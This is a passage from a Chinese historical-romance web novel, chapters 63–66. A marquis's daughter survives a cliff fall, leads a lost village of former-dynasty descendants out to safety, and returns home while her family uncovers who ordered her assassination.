不多时，铁链取来，许牧舟动作利落精准地将铁链锁进崖壁的石缝之中。正要飞身而下之际，亲卫急忙阻拦，满脸担忧地说道：“少主，崖下危险，还是让属下去吧。”然而，许牧舟仿若未闻，根本没有理会亲卫的劝阻，直接交待亲卫一番后，便毅然跃下。
63. 崖底
苏璟睿一身狼狈地回了侯府，老夫人得知映雪遭黑衣人刺杀，被逼无奈跳下悬崖，顿时如遭雷击，直接晕了过去。永安侯怒不可遏，双目通红，额上青筋暴起，吩咐身边随从道，“召集府兵，不论付出何种代价，务必找到三姑娘，活要见人，死要见尸！”
映雪出事的消息在府里传开，整个永安侯府都弥漫着一股沉重而紧张的气氛。
汀兰院，赵姨娘不免有些感慨，叹道：“若三姑娘此次出事，那景阳侯府的亲事也就黄了，你以后也就少了一个实力雄厚的连襟助力了。”
苏映蓉却不以为然，嘴角微微上扬，划过一丝不易察觉的笑意，那笑意很快消失不见。转而对赵姨娘宽慰道：“姨娘，三妹妹向来吉人自有天相，不会有事的。”接着又缓缓说道：“且以后的事情谁又能说得准呢。”说这话时，她的眼中闪过一道不易捉摸的光芒。
赵姨娘又提醒道：“大夫人那里，你最近少去为妙，你父亲正在怒火中烧，以免他会因之前的事迁怒于你。”苏映蓉满脸不耐烦，嘟囔道：“知道了，知道了。”
崖底，一片死寂。映雪悠悠转醒，只觉脑袋还有些昏沉，身体也被尖锐的疼痛包裹着。她微微动了动身子，缓缓睁开双眼，入目是陌生而又清幽的环境。
身边不见竹清，映雪顿时心里一紧，挣扎着坐起身来，环顾四周，只见高耸的崖壁环绕，绿树成荫，一条清澈的溪流潺潺流过。
终于，在溪流边发现了昏倒的竹清。
映雪强忍着身上的疼痛，艰难地站起身来，摇摇晃晃地朝着竹清奔去。看到竹清呼吸平稳，高悬的心这才稍稍放下，长长地舒了一口气。她急忙推了推竹清，轻声呼唤道：“竹清，醒醒，快醒醒。”竹清的睫毛轻轻颤动，猛地睁开眼睛，眼神中先是一片迷茫，随后转为警觉。
“这是哪里？”竹清的声音沙哑无力。
“这是崖底，好在我们都平安无事。”映雪低声道。
见竹清身上的伤势颇重，映雪心中焦急。急忙伸手从荷包里取出一些药丸和药膏，递到竹清面前，轻声说道：“竹清，先把这些药丸服下。好在我在去凌云书院前，多了个心眼，准备了一些药在身上。”
竹清微微点头，艰难地接过药丸放入口中，映雪也替她在伤口上细心地擦着药。
映雪胆敢带着竹清毅然跳崖，并非一时鲁莽。当时，她们被逼入绝境，退无可退。映雪凝望着悬崖，心底竟似有一个声音在召唤她跳下去，且那声音让她笃定，跳下去绝非绝路，而是另一种生机。因玉佩之故，映雪对这种超乎自然的事有着一种莫名的信任。所以，当那声音在心底响起时，她毫不犹豫地选择带着竹清纵身跃下悬崖。
如今在崖底醒来，证明当时的选择没错。只是祖母和父亲定会心急如焚，还有许牧舟，不知他是否在找她。
竹清服下映雪给的药后，顿觉身体状况有所好转。抬眼望去，天色渐暗，便沉声道：“我们得赶紧找个安全的地方休息，天黑之后，野外恐有危险。”映雪点头表示赞同，她也深知野兽通常会在夜里出没。
两人相互搀扶着，沿着溪边艰难前行。忽然，映雪似乎看到不远处有一丝若有若无的烟雾袅袅升起。她心中一喜，连忙对竹清说道：“竹清，你看那边，似乎有人烟。”竹清顺着映雪所指的方向望去，眼中也闪过一抹亮光。
映雪与竹清许是看到了希望，两人都强忍着身体的不适，加快脚步朝那疑似有人烟的地方走去。随着距离越来越近，心渐渐地冷却下来，随即眼底的疑惑亦越来越深。映入眼帘的并非普通村落的景象，这里的房屋简陋而怪异，大多是用树枝和茅草胡乱搭建而成，毫无章法可言。周围还散落着一些奇怪的器具，像是粗糙的石斧和兽皮。
空气中还夹杂着淡淡的腥臭味。两人停下脚步，映雪心中紧张，忍不住用力握紧了竹清的胳膊。
竹清也警惕起来，扫视着周围的危险。
“竹清，这地方看起来不太对劲，要不我们还是先离开？”映雪压低声音说道。
竹清微微皱眉，正要说话，突然，一个身影从一间房屋后闪了出来。
吓了映雪一跳，顿时尖叫一声，闭上了眼睛。
竹清轻轻拍了拍映雪的手背，似是安抚。
映雪缓缓睁开眼睛，见前面正站着一个身穿着破旧兽皮，头发蓬乱，手中拿着一根粗陋木棍的少年，正警惕的盯着她们，随后，一阵嘈杂的脚步声传来，村落里的其他人也渐渐出来。他们的模样与少年相似，同样穿着破旧的兽皮与草裙，头发杂乱，眼神中充满了好奇与戒备。
映雪紧张地咽了咽口水，身体不由自主地往后缩了缩，随后轻声说道，“我们没有恶意，只是不小心掉落悬崖，在寻找出路，若是打扰了各位，我们现在就离开。”
话音刚落，人群中突然缓缓走出一位老人家。他目光如炬，在映雪和竹清身上细细打量，眼神中满是怀疑，沉声道：“你们果真是从外面掉落进来的？可要知道，我们在此处居住了一辈子，却从来都未曾找到过出去的路。”
映雪听闻老人家所言正是大乾的通用语言，心中不由地涌起一阵惊喜。她连忙上前一步，急切地问道：“老人家，您是大乾国哪里人？”
老人家则有些疑惑，“什么大乾国？我们是大毓国的，至于故乡，老夫只在我的祖父口中听过，早已记不得了。”说话的语气中带着惆怅。
映雪与竹清对视一眼，心里渐渐有了底。大毓国正是前朝，正是大毓国灭亡之后才有了如今的大乾。
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永安侯从许牧舟的亲卫雷影口中得知，许牧舟竟亲自带着几名暗卫前往崖底去寻找映雪。永安侯心中一时百感交集，既感动又担忧。没想到许牧舟对映雪如此深情厚意，竟不惜亲身涉险；却也知道悬崖危险，生怕他们遭遇不测。
然而又得知，刺杀之事恐与大夫人有关，脸色顿时黑如锅底，愤怒的情绪在心中翻腾。顾不上与雷影多谈，便转身离开，要去找大夫人算账。
映雪与竹清随着老人家进了屋子，屋内的场景让她们仿佛穿越回了远古时代。屋子正中央摆放着一个用石头垒成的简易炉灶，里面还有未燃尽的柴火，冒着丝丝青烟。旁边堆放着一些形状各异的陶罐，有的已经有了裂痕，似乎是用来储存食物或水的。角落里，几张破旧的兽皮随意地堆叠着，大概是睡觉用的床铺。
地上散落着一些简陋的工具，有石斧、石刀等，刃口已经被磨得有些钝了。墙上挂着一些风干的猎物，散发着淡淡的腥味。
听着老人家缓缓讲述，映雪这才知晓了他们的身份。这里的居民是当时大毓国商队的后代，那时正是大毓国战乱时期，当时商队遭遇军匪袭击，落难于此。
他们起初只是暂且在此处安顿下来，想着等乱世过去，再行出去。
然而，未曾想到，自此之后却再也找不到出去的路。历经一辈又一辈的繁衍，这里逐渐发展成了一个有着上百人口的村落。只是由于身处崖底，他们只能依靠野兽与野果裹腹，久而久之，便过上了如同野人一般的生活。而从崖底出去，也成了他们一代又一代难以割舍的执念。
映雪未曾想到，在距离大乾京城仅仅几十里的崖底下，竟然还生活着这样一群人。他们不知今夕是何年，亦不晓今夕是何处，渴望外面的世界，却至死不得其法，想象一下，这该是多么令人绝望。
映雪心中满是酸楚，他们实在无辜。她轻声安慰道道：“老人家，你放心，我的家人一定会竭尽全力地想办法来找我，你们也一定能出去。等你们出去，我带你们去看看如今的繁华盛世。外面的世界有热闹的街市、精美的建筑、丰富的美食和多彩的文化。你们可以穿上漂亮的衣服，品尝各种美味佳肴，感受那熙熙攘攘的人群和车水马龙的街道。你们再也不用困守在这崖底，过着艰难的日子。相信我，那一天一定会到来。”
说罢，居民们眼神中都闪烁着渴望的光芒。
许牧舟带着暗卫们一路披荆斩棘，总算抵达了崖底。此时，夜色如墨。一名暗卫上前，恭敬地向许牧舟说道：“少主，眼下天色已然漆黑，在这崖底寻人，实乃难如登天之举。依属下之见，我们不妨暂且找个安全之处休息，养足精神。少夫人身旁有竹清相伴，想来应不会有太大的危险。待天亮之后，定能更加迅速地找到少夫人。”
64. 撞破
许牧舟闻言，缓缓朝身边的暗卫们瞧去。只见他们个个身上尽显狼狈之态，也疲惫至极。许牧舟眉头紧皱，沉思片刻后，终是无奈地叹了口气，道：“罢了，先寻处地方安顿下来。”
永安侯怒气冲冲地回了侯府，刚踏入府内，便被下人喊住，“侯爷，老夫人让您回府就去一趟荣晖堂。”
永安侯步伐沉重，改道去了荣晖堂。
房间里弥漫着沉重的气氛，老夫人面色苍白地躺在榻上。
见永安侯过来，让秦嬷嬷把她扶坐了起来，急问道，“老大，映雪有消息了吗？”
永安侯见老夫人神情担忧，忙上前安慰道，“母亲，景阳侯世子亲自带了人去崖底寻找了，定会把映雪安安全全的带回来，您可要好好注意身体，否则映雪回来见您病了，定会担心愧疚。”
老夫人皱眉，自责道，“都怪我，当时就不该一时心软，答应让她去了凌云书院，否则哪会发生这种事。”
永安侯却不这样认为，自豪道，“要不是映雪去了凌云书院，说不定魏山长就真出事了，映雪做的是好事。”顿了顿，接着又道，“我相信佛祖定会保佑她。”说罢，眼神飘向远方，含着一丝期待。
老夫人也跟着点了点头，叹气道：“都说患难时见真情，没想到景阳侯世子如此有担当，尽显男儿血性。映雪也算有了可托付之人。”接着又想起那黑衣人，便追问道，“黑衣人的身份查到了吗？映雪一个闺中女子，怎会与人结这么大的仇恨？你定要好好查探。”永安侯闻言，顿时脸色骤变，告辞道，“母亲，黑衣人已经在查了，您好好休息，我还有别的事要安排，就先回去了。”
说罢，又急匆匆地离开了房间。
老夫人见状，跟秦嬷嬷道，“但愿景阳侯世子能尽快找到映雪，晚一分则多一份危险。”
秦嬷嬷安慰道，“三姑娘命里带福，自有菩萨保佑，定会安然无恙的。”
老夫人点点头，心中默默祈祷着映雪能够平安归来。
永安侯自荣晖堂出来后，便径直奔赴如意院。如意院的丫头瞧见永安侯满脸怒意地走来，神色慌张，正欲去向大夫人禀告，却被永安侯制止。随后，永安侯黑着脸独自朝屋子走去。
屋内，大夫人看着信上的信息，心中不禁涌起几分畅快，神情略显倨傲。她对身旁的王嬷嬷说道：“原以为那个丫头聪慧，没想到竟是个蠢的。跳崖岂能有活路？那悬崖可是万丈深渊，跳下去不说粉身碎骨，就算侥幸健全，也会落个被野兽分尸的下场。”王嬷嬷微微点头，心中暗自思忖，三姑娘怕是凶多吉少了。然而，她心中依旧惶惶不安，不由地提醒大夫人道：“夫人，我们最近得小心行事了。侯爷在查，景阳侯府也在查，就怕万一查到夫人身上。”
提及景阳侯世子，大夫人眼中流露出些许鄙夷，说道：“才订亲的未婚夫妻，何来情深意重？竟能不顾自身安危，下崖寻找，想来那次春桃并没有冤枉于她。”
王嬷嬷点头，未再言语。她瞧见桌上的信件直愣愣地摊开着，不由得心跳加快，连忙提醒道：“夫人，我们先把信给销毁，否则……”话音未落，一声巨响传来，接着房门被踹开。永安侯满脸杀气地站在门口，沉声道：“否则如何？”
王嬷嬷见状，顿时惶恐不已。她急忙把信件从桌子上拿起，就往嘴里塞去。永安侯疾步飞身过去，瞬间掐住了王嬷嬷的脖子。王嬷嬷急剧咳嗽喘气，把信件吐了出来。侯爷松开手，将王嬷嬷往大夫人身边一扔，两人顿时跌倒在一起。永安侯也顾不上嫌弃，把信件拆开。待看清里面的内容，他顿时怒目圆睁，似要喷出火来。转身便朝大夫人的胸口踹了过去，震怒道：“说，你在跟谁联系？”
大夫人被踹得嘴角有鲜血溢出，王嬷嬷惊恐万分，惊呼一声：“夫人。”大夫人用帕子擦拭着嘴角，低头瞧见帕子上的鲜血，讥讽一笑，抬头朝永安侯望去，道：“有本事你就直接杀死我啊！反正你也从未真正把我放在眼里。我在这府中多年，为你操持家业，生儿育女，可你呢？何时有把我生的儿女放在心里过？我告诉你，就算你今日杀了我，也改变不了她已坠崖的事实。”
永安侯被气得火冒三丈。他因映雪没有母亲，确实更疼她一些，又因映雪聪慧，心中更是多了几分重视。而璟皓作为嫡长子，也被寄予厚望。但他自问从没有亏待过大夫人母子三人。可如今，枕边人竟如此狠辣，对映雪下这般毒手，实在让他难以容忍。他指着大夫人怒喝道：“你身为侯府主母，竟如此心胸狭隘、狠辣。映雪何辜，你要对她下如此狠手？你最好祈祷她平安无事，否则我会让你生不如死。”说罢，他便朝门外走去，并吩咐道：“没我的命令，不许踏出房门一步。”
不到片刻，李总管便亲自带人匆匆而来，将如意院严严实实地封死。如意院内只留下两个丫鬟，其余人等皆被遣到了别处。
永安侯在书房中，一夜未眠，静坐等待天明。当天边渐渐泛起鱼肚白，随从轻声提醒该上朝了，永安侯这才缓缓起身开始洗漱。此刻他只期盼着景阳侯世子今日能传来消息。
崖底，潺潺溪水在乱石之间欢快流淌。许牧舟带着暗卫们沿着溪流仔细搜寻映雪和竹清的踪迹，不放过任何一丝细微的线索。然而，一上午过去了，竟未发现任何蛛丝马迹。许牧舟心中思忖着，只要她们还活着，定会在溪边停留，可为何溪边连一个脚印都不曾见到？想到此处，他不由得心中一慌。
一名暗卫在溪流下游洗手时，忽然觉得前面溪水流淌的纹路有些怪异，忙不迭地禀告许牧舟道：“少主，属下总觉得
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这溪水流向有些不同寻常，也不知是不是属下眼花了。”许牧舟闻言，立刻快步过来查看。他凝视着水潭，心中莫名涌起一种奇异的感觉。伸手试探，竟发现水是温热的，且有一股吸力，仿佛在召唤着他。
许牧舟当机立断决定下水一探究竟。暗卫们急忙阻止道：“少主，这水中情况不明，危险重重，与岸上截然不同。况且我们对这水潭一无所知，万一水下有什么未知的危险，那后果不堪设想。少夫人也绝不可能会在水底啊。”
许牧舟却态度坚决，沉声道：“少废话，你们就在岸上等我。”说罢，就把外衣脱下，丢至一旁，暗卫们又岂能眼睁睁看着少主一人犯险，纷纷脱掉厚厚的外衣，随着许牧舟一起潜入潭底。好在潭水温热，他们并未感到任何不适。
映雪几乎彻夜未眠，尽管有竹清在旁守护，却依旧不敢安心入睡。夜里，两人仅靠一些野果果腹。所幸竹清的伤势逐渐恢复，待天色微亮，她们便早早起身去寻觅出路。
崖底的居民穷其一生都未曾找到出去的路，但映雪坚信自己和竹清不会被困于此，必定能找到回去的路。
而且她也深信，即便许牧舟不在意她，只要玉佩还在自己身上，景阳侯府就绝不可能弃她不顾。
想起玉佩，映雪立刻用意念感知其情况。因她跳崖置之死地而后生，玉佩中的灵泉竟意外被开启。这灵泉中的灵液不但有着起死回生的神奇功效，还能让处于虚弱状态的人迅速恢复至最佳状态。然而，灵液的产出有限且取出有着特定的条件。
灵液的产出与映雪所行的善事相关，每做一件大善事，玉佩空间便会吸收一定的善念之力，当善念之力积累到一定程度，灵泉中便会凝聚出一滴灵液。而且，灵液的产出还与映雪自身的心境有关，只有当她内心纯净、充满仁爱与慈悲之时，灵泉才会更加活跃地凝聚灵液。
灵液取出条件苛刻，只有日出之际可行。映雪因救瘟疫和办慈善堂使玉佩凝聚三滴灵液，恰逢日出，映雪赶紧取出灵液，把其中一滴递给竹清服用，看着竹清服下灵液后气色迅速好转，心中稍安。接着，映雪自己也服下一滴灵液，顿感一股温暖而强大的力量在体内流淌，虚弱之感一扫而空。她谨慎地收好最后一滴灵液，以备不时之需。
映雪望向竹清，轻声说道：“竹清，我们直接去溪边找找看如何？毕竟我们是从崖上掉落到那里的，说不定出口也就在那附近呢。”
竹清点头，两人便直接前往溪边。
许是服用了灵液的缘故，两人精神奕奕，渐渐地也有了几分放松之意。映雪来到溪边，直接在清澈的溪水中洗漱起来。忽然，她瞧见前方的水流急剧翻腾，水波如同被狂风席卷一般向四周迅猛扩散开来。那场景，仿佛是要从水底钻出什么恐怖的怪物。
65. 害怕
映雪吓得惊叫一声，惊慌失措地赶紧向岸上退去。瞬间抱住了竹清，竹清反应极为迅速，立马做出了防备动作，眼神警惕地盯着溪水，全身肌肉紧绷，如同一头随时准备出击的猎豹，将映雪牢牢护在身后。
下个瞬间，便见许牧舟破水而出，忽然从水底钻了出来，四目相对，许牧舟心中顿时一松，而映雪却瞬间红了眼眶，委屈地大哭起来。许牧舟心急如焚，直接飞身过去，在映雪身边轻盈落下，紧紧地将映雪拥入怀中，柔声哄道：“都怪我，没保护好你，害你受惊了。”映雪摇摇头，正要说话，便见水中的暗卫们一个接一个地冒了出来，正似看好戏一般看着他们。映雪顿觉丢脸，赶紧从许牧舟的怀抱中挣脱出来。
她忙用袖子擦着眼泪，追问道：“你们怎么会从水底出来？”许牧舟没有说话，双手温柔地捧着映雪的脸，细细地端详着映雪，他用拇指轻轻地帮映雪把眼角的泪水拭干，反问道：“你有没有受伤？有没有哪里不舒服？”说罢，眼睛缓缓向下移动，仔细地打量着映雪的全身，生怕映雪有一丝一毫的损伤。确认映雪无恙后，他才微微松了一口气。
随后，许牧舟才向映雪讲述潭中的奇异现象。原来，在许牧舟几人艰难地潜到潭底之后，竟意外地发现潭底有一个洞口。水流在那里形成了一个奇特的漩涡。许牧舟没有丝毫犹豫，毅然决然地钻进洞口，在黑暗中摸索着前进。历经一番波折后，终于才从洞口钻出，而这一幕恰好被映雪看见。
映雪这才恍然大悟，为何崖底的那群居民，耗费近百年的时间，都未能找出从崖底出去的出口。原来出口竟隐藏在这看似寻常却又充满神秘的水潭之下。那潭底的洞口被水流的漩涡掩盖，若不是机缘巧合，恐怕永远也无法被发现。
映雪随即向许牧舟谈起崖底的那些居民。许牧舟得知崖底竟还生活着一群前朝遗留下来的子民，一时之间，神色也有些沉重起来。好在，如今他们也算守得云开见月明了。
说罢，映雪带许牧舟等人去村落。村民见映雪和竹清又带人来，得知找到崖底出口能出去过正常生活，顿时喜极而泣、手舞足蹈。随后，老大爷带领众人朝映雪跪下。
映雪连忙示意竹清将众人扶起。老大爷激动地说道：“姑娘大恩，我们实难回报，你定是上天特意派来解救我们的仙女啊。我们在这崖底苦苦煎熬了这么多年，一代又一代，若不是姑娘，真不知何时才能重见天日。姑娘，请受我们一拜。”说罢，便欲朝映雪磕头行礼。
映雪急忙上前拦住，恳切地说道：“大爷，万万不可如此。这真的只是机缘巧合罢了，我也不过是运气稍好一些。大家快快起来，如今找到了出口，我们一起出去，开始新的生活才是最重要的。
村民们闻言激动不已。许牧舟见人数众多，从溪边穿过潭底洞口回到崖底溪边需耗费大量时间，便不耽搁，吩咐暗卫负责渡水穿潭洞，映雪由许牧舟亲自护着。
金銮殿上，气氛凝重。皇上得知他亲封的郡主，竟在京城这天子脚下被人刺杀，还被逼跳崖，顿时龙颜大怒。他怒拍龙椅，厉声喝道：“天子脚下，竟敢连朕亲封的郡主都敢刺杀，简直是胆大包天！”皇上对映雪印象极佳，心中暗忖，若不是太子已然有了太子妃，且映雪又被景阳侯府相中，他都有心将这位亲封的郡主配与太子。
“太子！”皇上转头看向太子，眼神凌厉，“此事交由你彻查，务必将那些黑衣人的身份查个水落石出！”太子连忙出列，神色恭敬，郑重领命：“儿臣定当全力以赴，绝不辜负父皇期望。”
皇上又将目光投向一旁的永安侯，语气稍稍缓和：“永安侯，你且放宽心。朕定会为郡主讨回公道。有景阳侯世子在，郡主必定安然无恙。”永安侯感激涕零，跪地叩首，声音微微颤抖：“臣谢皇上隆恩。小女能得皇上如此厚爱，实乃三生有幸，待小女归来，臣定教导小女报效皇上和朝廷，以报皇上隆恩。”
皇上微微颔首，神色严肃中又带着一丝关切：“永安侯平身吧。郡主吉人自有天相，朕相信此次磨难过后，郡主必将迎来新的福泽。”
永安侯笑得勉强。
刚回了侯府，便有下人匆忙过来禀告：“侯爷，四姑娘带着七少爷求见。”永安侯闻言微微皱眉，直接吩咐道：“让他们回自己院子去，且最近不准出府。”
然而，刚吩咐下去没多久，就听见院门口传来一阵喧闹的哭闹声。永安侯脸色瞬间阴沉下来，他放下手中的笔，沉声道：“让他们进来。”那声音中带着明显的不耐与威严。
随即，就见苏沁雪满脸皆是不平之色，牵着哭闹不停的苏敏皓走了进来。苏沁雪眉头紧蹙，神色中带着几分不甘，而苏敏皓则满脸泪水，不停地抽泣着，嘴里不停地喊着要母亲。
苏沁雪见到父亲，未行礼便急切质问：“父亲，为何将如意院封了？母亲虽言语有失，可三姐姐出事，您怎能怪罪母亲？”永安侯脸色骤变，怒喝道：“此乃贵女之教养？你母亲如何教导你的？”苏沁雪面色惨白，忙咬唇行礼：“父亲息怒，女儿知错。女儿只因担忧母亲，一时失了礼数。恳请父亲明察，莫因三姐姐之事让母亲受委屈。”
永安侯盯着苏沁雪，冷笑道：“你竟以为我是因你三姐姐之事怪罪你母亲？去问问你母亲，为何派人刺杀你三姐姐。若你心中有永安侯府，以后莫再提你母亲。”苏沁雪闻言，身形摇摇欲坠，满脸不可置信：“这不
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可能，我绝不相信。”永安侯却没了耐心，吩咐道：“行了，带你弟弟回去，莫去烦扰你祖母。”
苏沁雪从父亲书房出来后，一直无法相信是母亲派人刺杀的三姐姐。一路上，神情恍惚，思绪纷乱。母亲向来慈爱，虽说对三姐姐未必全是真心，且最近三姐姐风头正盛，更衬得她暗淡无光，可母亲断不可能仅因此就找人杀害三姐姐。
她匆匆将弟弟送回院子，交到奶娘手上后，便转道去了汀兰院。苏映蓉心情正好，正坐在绣篓旁专心致志地绣着香囊。丫鬟前来禀告道：“姑娘，四姑娘过来了。”苏映蓉手上一顿，心中诧异，苏沁雪此时怎还有心情来汀兰院？抬头便见苏沁雪一脸失神地走了进来。苏映蓉立刻笑意盈盈，尚未开口，却听见苏沁雪突然问道：“二姐姐，父亲说三姐姐是母亲派人刺杀的，你信不信？”话音刚落，苏映蓉“啊”地一声，绣针扎到了手指，血珠从针孔中溢了出来。苏映蓉连忙把手指含进嘴里，脸色惊慌地道：“你刚才说什么？”苏沁雪见苏映蓉惊慌，以为她也在为母亲担忧，心中稍感宽慰，缓声说道：“我刚才去找了父亲，父亲的意思是三姐姐出事与母亲有关，父亲正在查这件事。我不相信这件事是母亲干的，母亲肯定有苦衷，我一定要找母亲问清楚。”
苏映雪一听，顿时脸色惨白，心中焦急万分。但她很快强装镇定，安慰苏沁雪道：“四妹妹，我也绝不相信是母亲所为。你放心，我定会陪着你一起，绝不能让父亲冤枉了母亲。”苏沁雪微微点头，在汀兰院停留了一会儿。有了苏映蓉的连声安慰，她的情绪似是好了很多，这才缓缓回了落雪院。
见苏沁雪已走远，苏映蓉赶紧让丫鬟把赵姨娘叫了过来。赵姨娘急匆匆地赶到汀兰院，抬眼便见女儿满脸担心害怕的神情，着急问道：“你这是怎么了？”苏映蓉瞬间两眼通红，急得直跺脚道：“姨娘，现在可怎么办？母亲一定会把我供出来的，到那时父亲还不知会如何罚我，说不定直接就将我远嫁了。”
赵姨娘闻言，急忙问道：“你到底瞒着我做了什么事？”苏映蓉不敢直视赵姨娘的眼睛，支支吾吾道：“刺杀三妹妹的刺客，是我联系的。”话音刚落，赵姨娘身子猛地摇晃，脸色苍白如纸，哆嗦着说道：“你糊涂啊！简直是胆大包天，这种事你竟然也敢做？”
苏映蓉见瞒不住了，索性说道：“母亲暗示过我，若是三妹妹嫁不成了，侯府为了攀这门亲事，会让我替三妹妹嫁入景阳侯府。到时候我就是名正言顺的世子妃了，我只是找人要污她清白，可没有真要她死。”赵姨娘闻言，捶胸顿足，痛心疾首道：“是姨娘害了你啊！姨娘不该因一时之利，让你去亲近大夫人。反而让你被她利用了。”
66. 平安
苏映蓉嘟囔着说道：“现在说这些已然无用，姨娘还是与我一同想想办法吧，看看怎样才能逃过此劫。”
赵姨娘沉默不语，思索片刻后，皱眉道：“若是你的亲事近日内能定下来，到时候你父亲也无可奈何。只是如今大夫人被关，老夫人又正为三姑娘担忧，都顾不上你。”
苏映蓉闻言，眼神先是一亮，随即又暗淡下去，不耐烦地说道：“那可如何是好？”
赵姨娘安慰道：“你先别急。姨娘在京城也认识一些人，姨娘这就找人打听看看。想来以如今侯府在京城的地位，还是会有不少府邸想与我们结亲的。”苏映蓉无奈地点点头，也只好暂且作罢。
她心中只殷切期盼着父亲不要再继续深入追查此事，如此一来，以后这府中便只剩下她与苏沁雪了。在她想来，父亲必然会更加重视自己，毕竟苏沁雪的母亲被指认害死了父亲最为疼爱的女儿，往后父亲见到苏沁雪时，必定会满心不喜。只要能够安然度过这一难关，往后的日子必定皆是美好的。至于那苏映雪，也只能怪她自己太过天真，不懂得提防身边之人了。
映雪大口喘着气，从水里猛地钻了出来。抬眼望去，那群居民随意地或坐或躺在溪边，每个人的脸上都洋溢着劫后余生的喜悦。她心中暗自思忖，或许上天指引她跳崖，就是为了拯救这群崖底的居民。
离开溪水后，冷风扑面而来，映雪忍不住瑟瑟发抖。许牧舟见状，连忙运用内力，迅速帮映雪把衣裳烘干，接着又将他留在溪边的外衣紧紧地裹在映雪身上。映雪瞬间被裹得动弹不得，她瞪了许牧舟一眼，随后满脸担忧地道：“这才刚刚顺利抵达崖底，可要从崖底上去，怕是十分艰难吧？”
许牧舟抬头看了看天色，又朝着那群居民的方向望去，沉声道：“若只有你一人，倒也无妨，如今带着这么多人，确实有些不易。”
映雪闻言，眉头紧紧蹙起，焦急地问道：“那该怎么办？”
许牧舟却不以为然，沉稳地道：“放心，只要我们都安然无恙，自会找到出路。现在我们先想办法通知崖上的暗卫，告知他们你平安无事，也好让他们去通知你父亲。你父亲知晓你平安，也能安心。”
映雪轻轻点头，满心愧疚道：“父亲肯定都急坏了，还有祖母，说不定都急出病来了。”
许牧舟温柔地摸了摸映雪的头顶，以示安抚。
许牧舟正吩咐一名暗卫上去送信，映雪则带着竹清在崖底四处徘徊。她心中暗想，如果真的是上天指引，崖底必定还会有其他出口。无意识间，映雪轻轻敲打着左胸，顿感胸口一热。她闭上眼睛，以意念感知玉佩的指引，随后穿过一片茂密的树林，来到一处山壁前。这山壁看上去平平无奇，但映雪心中的感觉却愈发强烈。她急忙吩咐身边的竹清：“竹清，我们过去瞧瞧，那处山壁是否有异样。”
竹清点头，快步走到山壁处，仔细打探起来。映雪也紧随其后。两人四处寻找，却一无所获。就在映雪几乎要放弃之时，脚下不小心踢到一块石头。石头滚落，发出清脆声响，紧接着山壁底部出现一道细微裂缝。映雪惊喜地凑近裂缝查看，发现裂缝后面似乎是空的。她连忙朝许牧舟喊道：“许牧舟，你快过来，这里好像不对劲。”
许牧舟闻言，带着几名暗卫迅速赶来。瞧见裂缝的异状后，他忙支开映雪道：“你走远一些，我们试试。”说罢，他便与几名暗卫合力尝试。经过几次努力，他们终于把崖壁底部劈开一个大洞。从洞口望去，能看到不远处的亮光。
其中一名暗卫提议道：“少主，属下先进去查探。”许牧舟微微颔首表示同意。随即，那名暗卫趴下身子，朝洞口钻了进去，缓缓匍匐前进。过了一会儿，暗卫从洞中折返回来，满脸激动地对许牧舟道：“少主，那边正是崖底的出口。”映雪闻言，心中亦是按捺不住激动，当即抱住了旁边的竹清。许牧舟瞧见这一幕，心中竟涌起一丝醋意，忙将映雪拉开，紧紧搂进自己怀里，心情格外愉悦。
待许牧舟带领暗卫有条不紊地把崖下那群居民都从洞口带到另一边后，众人这才发现，他们正身处麒麟山的山脚下，离凌云书院不远。
映雪亦是十分感慨，抬眼瞧见天色渐晚，心中不由得有些焦急，朝许牧舟说道：“我们赶紧回城吧，先把他们送到慈善堂，待禀告了皇上之后再做安排。”
许牧舟微微颔首，随即拿出一道暗号，抛向空中。
永安侯府中，老夫人正坐在桌前用膳，可仅仅喝了两口粥，便放下了碗筷。秦嬷嬷满脸担忧，说道：“您已经两日都没好好用膳了，等三姑娘回来，看到您消瘦成这般模样，定要责怪老奴没有照顾好您呢。”老夫人深深叹了口气，道：“我如何能吃得下？这都两日过去了，映雪那孩子至今下落不明。我这心里啊，就如同压着一块沉重的大石头，无处安放。”
秦嬷嬷接着劝道：“如今府里事情繁多，侯爷正为三姑娘的事忧心忡忡。若您再病倒了，侯爷可真是分身乏术了。”老夫人心里自然明白这个道理，可她就是放心不下，又问道：“如意院的事，你可打听清楚缘由了？”秦嬷嬷摇了摇头，回道：“侯爷许是怕您担忧，并未告知您详情。不过今日上午，四姑娘带着七少爷去求见了侯爷。四姑娘出来后，神情有些失落，似乎是受了不小的打击。”老夫人闻言，眉头紧紧蹙起，但眼下她也无心去顾及他人，心中只盼着映雪能够早日回府。好在老
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二一家已经回到了京城，侯府的事务有老二媳妇在帮忙管理，也算是让老夫人稍稍安心了一些。
永安侯见一整天过去了，景阳侯府都没消息传来，心中焦虑难安，便再也按捺不住，起身准备前往景阳侯府打探消息。刚跨出大门，便听见急促的马蹄声在他前方戛然而止。抬眼望去，只见大儿子正从马背上翻身而下，快步冲到他跟前，急切道：“父亲，妹妹怎么样了？找到了吗？”
永安侯也知晓儿子心急如焚，沉声道：“还没有，我正要去景阳侯府问问情况。”苏璟皓不由得反驳道：“父亲，您没派人下去找吗？怎么能只把希望寄托在他人身上呢？”接着又坚定地说道：“明早我要亲自下去崖底找妹妹。”
永安侯闻言，斥责道：“胡闹！你自己有几斤几两心里没点数吗？难不成我就不担心吗？”苏璟皓抬眼，便瞧见父亲眼睛里布满了红血丝，仿佛瞬间苍老了好几岁，心里不由得涌起一阵酸涩。他正要说话，身后竟似乎传来妹妹的声音在喊他“大哥”。苏璟皓以为自己出现了幻觉，不敢轻举妄动。父亲突然拍了下他的肩膀，语气轻快地说道：“好了，你妹妹回来了，这下总该安心了吧。”说罢，苏璟皓猛地朝身后望去，只见妹妹从马车上下来，正朝着他们奔来。苏璟皓激动不已，赶紧迎了上去，细细打量，见映雪安然无恙，这才把心放回肚子里。他顾不上旁边的许牧舟，瞬间拉起映雪的手，朝父亲走去。
映雪在父亲身前停下，看到眼前憔悴沧桑的父亲，瞬间红了眼眶，冲上去紧紧抱住了父亲。永安侯轻拍着映雪的后背，柔声宽慰道：“无事就好，无事就好。”说罢，眼中也隐隐有几分酸涩之意。
许牧舟婉拒了永安侯的邀请，礼貌地说：“苏伯伯，您太客气了。此时府上事务正繁，我便不叨扰了。映雪既已平安回府，我也安心了。明日，我再来府上拜访，与苏伯伯您一同品茶畅聊。”
说罢，许牧舟便转身离开了。
永安侯带着映雪和苏璟皓前往荣晖堂，竹清则回了映月阁。荣晖堂的下人一见到映雪，都抑制不住内心的激动，忙不迭地跑着前去禀告老夫人。
